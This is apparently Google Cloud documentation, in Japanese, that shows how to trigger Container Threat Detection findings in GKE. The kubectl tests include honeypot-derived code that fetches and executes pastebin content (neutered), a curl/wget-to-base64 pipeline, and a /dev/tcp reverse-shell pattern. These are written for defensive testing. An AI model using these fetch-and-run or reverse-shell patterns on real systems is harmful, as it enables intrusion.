Container Threat Detection のテスト

このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Container Threat Detection の動作を確認する方法について説明します。Container Threat Detection は、Security Command Center の プレミアム ティアと エンタープライズ ティアの組み込みサービスです。Container Threat Detection の検出結果を表示するには、Security Command Center の [Services] の設定で有効にする必要があります。

始める前に

コンテナに対する潜在的な脅威を検出するには、サポート対象バージョンの Google Kubernetes Engine(GKE)にクラスタが存在していることを確認する必要があります。詳細については、サポートされている GKE バージョンの使用をご覧ください。

検出機能を有効にする

検出機能 Added Binary ExecutedAdded Library Loaded はデフォルトで無効になっています。これらの検出機能をテストするには、明示的に有効にする必要があります。

  1. 検出機能のステータスを確認します。

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. 検出機能 Added Binary Executed を有効にします。

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. 検出機能 Added Library Loaded を有効にします。

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    

環境変数を設定する

検出機能をテストするには、Google Cloud コンソールと Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。Container Threat Detection のすべての検出機能をテストするには、次の変数を使用します。

  1. Google Cloud Console に移動します。

    Google Cloud Console に移動

  2. テストに使用するコンテナが含まれているプロジェクトを選択します。

  3. [Cloud Shell をアクティブにする] をクリックします。

  4. Cloud Shell で、環境変数を設定します。

    1. クラスタが配置されているゾーン

      export ZONE=CLUSTER_ZONE
      
    2. コンテナが含まれているプロジェクト

      export PROJECT=PROJECT_ID
      
    3. クラスタ名

      export CLUSTER_NAME=CLUSTER_NAME
      

変数が設定されました。次のセクションでは、Container Threat Detection 検出機能をテストする手順を説明します。

追加されたバイナリの実行

追加されたバイナリの実行を検出するには、コンテナでバイナリをドロップして実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls を別の場所にコピーしてから実行しています。イメージが Ubuntu 18.04 のものであってもバイナリのコピーは元のコンテナ イメージの一部ではなく、コンテナは変更できないものであるため、このバイナリの実行は想定外です。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. バイナリをドロップして実行します。

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの実行が検出されます。これは、Security Command Center と Cloud Logging で確認できます。 Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、追加されたバイナリの実行結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中にすべての追加されたバイナリ実行の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

追加されたライブラリの読み込み

追加されたライブラリの読み込みの検出をトリガーするには、コンテナにライブラリをドロップして読み込みます。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/lib/x86_64-linux-gnu/libc.so.6 を別の場所にコピーしてから ld を使用して読み込んでいます。Ubuntu 18.04 上のイメージであり、コンテナが変更されていなくても、ライブラリは元のコンテナ イメージの一部ではないため、このライブラリの読み込みは予期しないものです。

  1. 環境変数を設定します。

  2. Cloud Shell を使用してクラスタ コントロール プランにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. ライブラリをドロップして ld を使用して読み込みます。

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの読み込みが検出されます。これは、Security Command Center と Cloud Logging で確認できます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、追加されたライブラリの読み込み結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのライブラリ読み込みの検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: 追加された悪意のあるバイナリが実行された

「実行: 追加された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナに悪意のあるバイナリをドロップして実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、悪意のあるファイルをシミュレートして実行します。シミュレートされた悪意のあるバイナリが元のコンテナ イメージの一部ではなく、このバイナリが EICAR テストファイルであり、脅威インテリジェンスから悪意のあるものとして分類されたファイルであるため、このバイナリの実行は想定外です。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. EICAR バイナリをドロップして実行します。

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
    

Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべての「実行: 追加された悪意のあるバイナリが実行された」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: コンテナ エスケープ

「実行: コンテナ エスケープ」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls を別の場所にコピーして、疑わしいツール(botb-linux-amd64)に名前を変更し、追加の引数を指定して実行します。この実行は、コンテナ エスケープの試行と一致する動作をシミュレートするため、このアクションは疑わしいと見なされます。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. botb-linux-amd64 などのコンテナ エクスプロイト ツールのバイナリをドロップして実行します。

    tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
    

このテスト手順では、実行: コンテナ エスケープの検出結果が作成されます。この検出結果は、Security Command Center と、Container Threat Detection のロギングを構成している場合は Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、「実行: コンテナ エスケープ」の検出結果が Container Threat Detection によって一時的にフィルタリングされることがあります。コンテナの設定中に追加されたすべての「実行: コンテナ エスケープ」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: Kubernetes 攻撃ツールの実行

「実行: Kubernetes 攻撃ツールの実行」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls を別の場所にコピーして、疑わしいツール(amicontained)に名前を変更し、実行します。このアクションは、Kubernetes 攻撃ツールの実行の試行に一致する動作をシミュレートするため、疑わしいと見なされます。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. amicontained などの Kubernetes 攻撃ツールのバイナリをドロップして実行します。

    tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
    

このテスト手順により、「実行: Kubernetes 攻撃ツールの実行」の検出結果が作成されます。これは、Security Command Center と Container Threat Detection のロギングを構成している場合は Cloud Logging でも確認できます。Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、「実行: Kubernetes 攻撃ツールの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされることがあります。コンテナの設定中に追加されたすべての「実行: Kubernetes 攻撃ツールの実行」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: ローカル偵察ツールの実行

「実行: ローカル偵察ツールの実行」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls を別の場所にコピーして、疑わしいツール(linenum.sh)に名前を変更し、実行します。名前が変更されたバイナリを実行すると、ローカル偵察の試行と一致する動作がシミュレートされるため、このアクションは不審と見なされます。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. linenum.sh などのローカル偵察ツールのバイナリをドロップして実行します。

    tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
    

このテスト手順では、実行: ローカル偵察ツールの実行の検出結果が作成されます。これは、Security Command Center で確認できます。また、Container Threat Detection のロギングを構成していた場合は、Cloud Logging でもこの検出結果を確認できます。Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、「実行: ローカル偵察ツールの実行」の検出結果が Container Threat Detection によって一時的にフィルタされることがあります。コンテナの設定中に追加されたすべての「実行: ローカル偵察ツールの実行」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

Execution: Malicious Python executed

Execution: Malicious Python executed の検出結果をトリガーするには、コンテナ内で次の手順に沿って Python を実行します。

この手順では、最新の Python イメージをデプロイし、悪意がある可能性のある Python コードをコピーして実行します。検出をトリガーするには、Python コードが検出ツールに悪意のあるものとして認識される必要があります。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プランにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 新しいコンテナで次のスクリプトを実行します。

    この Python コードはハニーポットから取得されたものです。ただし、悪意のあるバイナリを実行しないように変更されています。スクリプトを実行しても、コンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが存在しないため、その URL をたどろうとすると 404 エラーが発生します。これは予期された状況です。 インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出がトリガーされます。

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/python:latest \
        "$tag" -- python -c "import urllib
    import base64
    import os
    
    url = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    f = os.popen(str(page))
    url = 'https://pastebin.com/raw/Z'
    d = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    exec(page)"
    

このテスト手順では、Container Threat Detection のロギングが構成されている場合に Security Command Center と Cloud Logging で表示できる、Execution: Malicious Python executed の検出結果を作成します。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたは Enterprise ティアを有効にする必要があります。

実行: 変更された悪意のあるバイナリが実行された

「実行: 変更された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナ内の悪意のあるバイナリを変更して実行します。この例では、最新の Ubuntu 18.04 イメージをデプロイし、/bin/ls を悪意のあるファイルをテストする EICAR に変更してから実行します。作成された /bin/ls がコンテナの実行時に悪意のあるバイナリをテストする EICAR として変更され、EICAR バイナリは脅威インテリジェンスに従って既知の悪意のあるファイルであるため、このバイナリの実行は想定外です。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. EICAR バイナリをドロップして実行します。

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

ノイズを軽減するために、コンテナを初めて作成する際、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべての「実行: 変更された悪意のあるバイナリが実行された」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

悪意のあるスクリプトの実行

悪意のあるスクリプトによる実行の検出をトリガーするには、コンテナ内で次の手順に沿ってスクリプトを実行します。

この手順では、最新の Ubuntu 18.04 イメージをデプロイし、悪意がある可能性のあるスクリプトをコピーして実行します。検出をトリガーするには、スクリプトが検出機能によって悪意のあるものと見なされる必要があります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プランにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 新しいコンテナで次のスクリプトを実行します。

    このインライン Bourne シェル スクリプトはハニーポットから取得されたものです。ただし、悪意のあるバイナリを実行しないように変更されているため、スクリプトを実行してもコンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが削除されている可能性があり、その URL をたどろうとすると 404 エラーが発生します。これは予期された状況です。 インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出がトリガーされます。

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu1804:latest \
         "$tag" -- sh -c \
             "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

このテスト手順では、Container Threat Detection のロギングが構成されている場合に Security Command Center と Cloud Logging で表示できる、悪意のあるスクリプトの実行の検出を作成します。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたは Enterprise ティアを有効にする必要があります。

悪意のある URL の観測

悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。

次の例では、Ubuntu 18.04 イメージをデプロイして /bin/curl を実行し、セーフ ブラウジング サービスからサンプルのマルウェア URL にアクセスします。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プランにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. curl を実行し、引数として悪意のある URL を指定します。

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run \
           --restart=Never \
           --rm=true -i \
           --image marketplace.gcr.io/google/ubuntu1804:latest \
           "$tag" -- sh -c "curl $url | cat"
    

このテスト手順では Security Command Center と Cloud Logging(Container Threat Detection に Logging を構成している場合)で表示可能な悪意のある URL の観測の検出結果がトリガーされます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

リバースシェル

リバースシェルの検出をトリガーするには、TCP 接続されたソケットへの stdin リダイレクトを使用してバイナリを開始します。この例では、/bin/echo/tmp/sh にコピーし、DNS ポート上の Google Public DNS 8.8.8.8 へのリダイレクトで /tmp/sh を開始します。この例を実行しても、何も出力されません。中間者(MITM)攻撃による外部コード インジェクションを防ぐため、この例では /bin/sh バイナリを使用しません。

  1. 環境変数を設定する

  2. Cloud Shell を使用してクラスタ コントロール プランにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Google Public DNS への /bin/echo リダイレクトでバイナリを開始します。

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu1804:latest \
        "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
    

このテスト手順で、リバースシェルの検出結果が作成され、Security Command Center でこの検出結果が確認できます。また、Container Threat Detection のロギングを構成していた場合は、Cloud Logging でもこの検出結果を確認できます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center の Premium ティアまたは Enterprise ティアを有効にする必要があります。

予期しない子シェル

Unexpected Child Shell 検出機能をテストするには、子シェルプロセスを含むプロセスツリーを作成します。

次の例では、Unexpected Child Shell 検出機能で検出できる consul->dash プロセスツリーを作成します。このテストは組み込みのバイナリのみを使用するため、安全です。この例では、次の操作をを行います。

  1. sh プロセスのコピーを作成して、consul という名前を付けます。0
  2. echo プロセスをコピーして、dash という名前を付けます。
  3. コピーした consul プロセスで、コピーした dash プロセスを呼び出します。

Unexpected Child Shell の検出結果をトリガーする手順は次のとおりです。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 疑似 consul プロセスを使用して疑似シェルを呼び出します。

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run \
        --restart=Never \
        --rm=true -ti \
        --image ubuntu "$tag"
        --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
    

このテスト手順では、Security Command Center で表示できる Unexpected Child Shell の検出結果を作成します。Container Threat Detection 用にロギングが構成され、組織レベルで Security Command Center プレミアムまたはエンタープライズが有効になっている場合は、Cloud Logging でも検出結果を表示できます。

次のステップ